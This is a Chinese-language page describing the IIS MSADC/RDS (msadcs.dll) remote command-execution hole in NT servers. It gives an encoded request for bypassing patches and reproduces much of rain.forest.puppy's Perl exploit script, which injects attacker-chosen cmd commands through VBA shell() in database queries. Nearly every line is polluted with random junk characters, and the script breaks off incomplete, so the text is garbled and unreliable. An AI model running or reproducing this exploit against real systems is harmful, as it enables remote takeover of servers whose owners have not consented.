IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
mHxR4%i5 9af.t 涉及程序:
7uF|Z( Microsoft NT server
+!/ATR%Uci 5o#JHD 描述:
7l D-|yx 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`7CK;NeT [d: u( 详细:
Cf
2@x 如果你没有时间读详细内容的话,就删除:
+(W1x
C0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
FJ:^pROpm 有关的安全问题就没有了。
w&q[%(G_ !sb r!Qt 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
UFG_ZoD+ uu9M}]mDl 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
# ]7Lieh[5 关于利用ODBC远程漏洞的描述,请参看:
*\sPHz. ;2p+i/sVj http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm tAdE<).! _)M,p@!?=h 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
F$C6( C? http://www.microsoft.com/security/bulletins/MS99-025faq.asp 23s;O)) EY,jy]|# 这里不再论述。
qqrjI. V'Gal` 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
E>!=~ 7. bMyld&ga /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
e$# *t 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
|A8@r& 5(3O/C{?~ "& ,ov# #将下面这段保存为txt文件,然后: "perl -x 文件名"
IS2cU' hH %> #!perl
&{}Mds #
jJy:/!i # MSADC/RDS 'usage' (aka exploit) script
ZJYn[\] #
Qp>leEs]+6 # by rain.forest.puppy
Wg']a/m #
lW+mH= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-(qRC0V # beta test and find errors!
NRi5 Vp2= c-a,__c?hx use Socket; use Getopt::Std;
a=iupXre9 getopts("e:vd:h:XR", \%args);
eb62(:=N6 ?=VvFfv% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
~}Xus?e A,}M ^$@ if (!defined $args{h} && !defined $args{R}) {
YX\vk/[| print qq~
J|`0GDSn Usage: msadc.pl -h <host> { -d <delay> -X -v }
kT%wt1T4 -h <host> = host you want to scan (ip or domain)
v}G^+-? -d <seconds> = delay between calls, default 1 second
'![oLy -X = dump Index Server path table, if available
*g/klK -v = verbose
=[6^NR( -e = external dictionary file for step 5
YW7W6mWspS ,>GHR{7>( Or a -R will resume a command session
=>jp\A J:xGEa t ~; exit;}
B,%Vy!o dY*q[N/pO $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[q<'ty if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
kv+% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}qNc `8h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Gt w>R $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^L[:DB{Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
2jsbg{QS#_ =BJe)!b if (!defined $args{R}){ $ret = &has_msadc;
<W4F`6`x die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
iUx\3d, )t6]F6!_ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
~zVxprEf_ . "cmd /c ";
hAGHb+: $in=<STDIN>; chomp $in;
XzUGlrp:Y# $command="cmd /c " . $in ;
'xwCeZcg x9_mlZ if (defined $args{R}) {&load; exit;}
bc)>h!'Y C|'DKT4M& print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
([>ecS@eO &try_btcustmr;
PRKZg]? o/5-T4 print "\nStep 2: Trying to make our own DSN...";
ex3Qbr &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*ByHTd La4S/. print "\nStep 3: Trying known DSNs...";
v}B%:1P4 &known_dsn;
} M#e\neii ,g*!NK_:5t print "\nStep 4: Trying known .mdbs...";
$3-vW{< &known_mdb;
Ey6R/M)?:y p>6`jr if (defined $args{e}){
bO '\QtW9 print "\nStep 5: Trying dictionary of DSN names...";
V%Uj\cv &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
2MkrVQQ9g l$42MRi/ print "Sorry Charley...maybe next time?\n";
|VfEp exit;
'h>uR| @/2Kfr ##############################################################################
9t`;~)o (O.%Xbx3 sub sendraw { # ripped and modded from whisker
&#r+a' sleep($delay); # it's a DoS on the server! At least on mine...
-yqsJGY my ($pstr)=@_;
f:c'j` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
JF~i.+{h die("Socket problems\n");
u-_r2U if(connect(S,pack "SnA4x8",2,80,$target)){
Hbm 4oYN select(S); $|=1;
?J}Q&p. print $pstr; my @in=<S>;
$( hT{C,K select(STDOUT); close(S);
)>volP return @in;
lj4Fg*/Yn } else { die("Can't connect...\n"); }}
v4$/LUJZp UKS5{"=T[ ##############################################################################
#c"eff lC i{v. sub make_header { # make the HTTP request
mU'<:gL+ my $msadc=<<EOT
m[hL
GD'Fi POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
%!aU{E|@_ User-Agent: ACTIVEDATA
lu8G$EQI Host: $ip
rfXxg^ Content-Length: $clen
12$0-@U Connection: Keep-Alive
>)><u4} . "Ms7= ADCClientVersion:01.06
1{}p_"s> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
JA^o/%a^ ^X#y'odtbS --!ADM!ROX!YOUR!WORLD!
]
V
D Content-Type: application/x-varg
+v~xgUs Content-Length: $reqlen
! 'zd(kv< T$Z9F^w EOT
[ks_wvY:' ; $msadc=~s/\n/\r\n/g;
y^.66BH return $msadc;}
hor7~u+ }Zhe%M=}G ##############################################################################
bIQ,=EA1
x4_IUIgh sub make_req { # make the RDS request
.)Tj}Im2p my ($switch, $p1, $p2)=@_;
q"2QNF' my $req=""; my $t1, $t2, $query, $dsn;
3Ax'v|&Hg o)`PSw= if ($switch==1){ # this is the btcustmr.mdb query
}
ueFy<F $query="Select * from Customers where City=" . make_shell();
aDlp>p^E> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%X}ZX|{ O $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
?h<4trYcv H]TdW;ZbZ elsif ($switch==2){ # this is general make table query
/l$x} $query="create table AZZ (B int, C varchar(10))";
`~1!nfFD $dsn="$p1";}
yR}.Xq/ {U4!sJSl1 elsif ($switch==3){ # this is general exploit table query
/dnwN7Gf $query="select * from AZZ where C=" . make_shell();
`e[S Zj\ $dsn="$p1";}
Q>niJ'7WF i'tMpS3 elsif ($switch==4){ # attempt to hork file info from index server
!MbzFs~ $query="select path from scope()";
[%W'd9`> $dsn="Provider=MSIDXS;";}
Ufr@j` * pR0[qsQM elsif ($switch==5){ # bad query
?R`S- $query="select";
ggso9ZlLu+ $dsn="$p1";}
WBe0^=x FO{=^I5YA $t1= make_unicode($query);
1 ZdB6U0 $t2= make_unicode($dsn);
PKm|?kn{0( $req = "\x02\x00\x03\x00";
hmy%X`%j $req.= "\x08\x00" . pack ("S1", length($t1));
r
)|3MUj $req.= "\x00\x00" . $t1 ;
l#)X/(?; $req.= "\x08\x00" . pack ("S1", length($t2));
{UiSa'TR1b $req.= "\x00\x00" . $t2 ;
`oRyw6Sko $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
3?OQ-7, return $req;}
sXLW';Fz ^FCXcn9 ##############################################################################
:X2_#qW#C q'3{M]Tk sub make_shell { # this makes the shell() statement
-4Qub{Uym return "'|shell(\"$command\")|'";}
-V$|t< `/|
*u ##############################################################################
}F08o,`? 2.qPMqH sub make_unicode { # quick little function to convert to unicode
H MOIUd my ($in)=@_; my $out;
yOM/UdWq for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
[8V;Q return $out;}
Q*M# e _3IT3mb2n ##############################################################################
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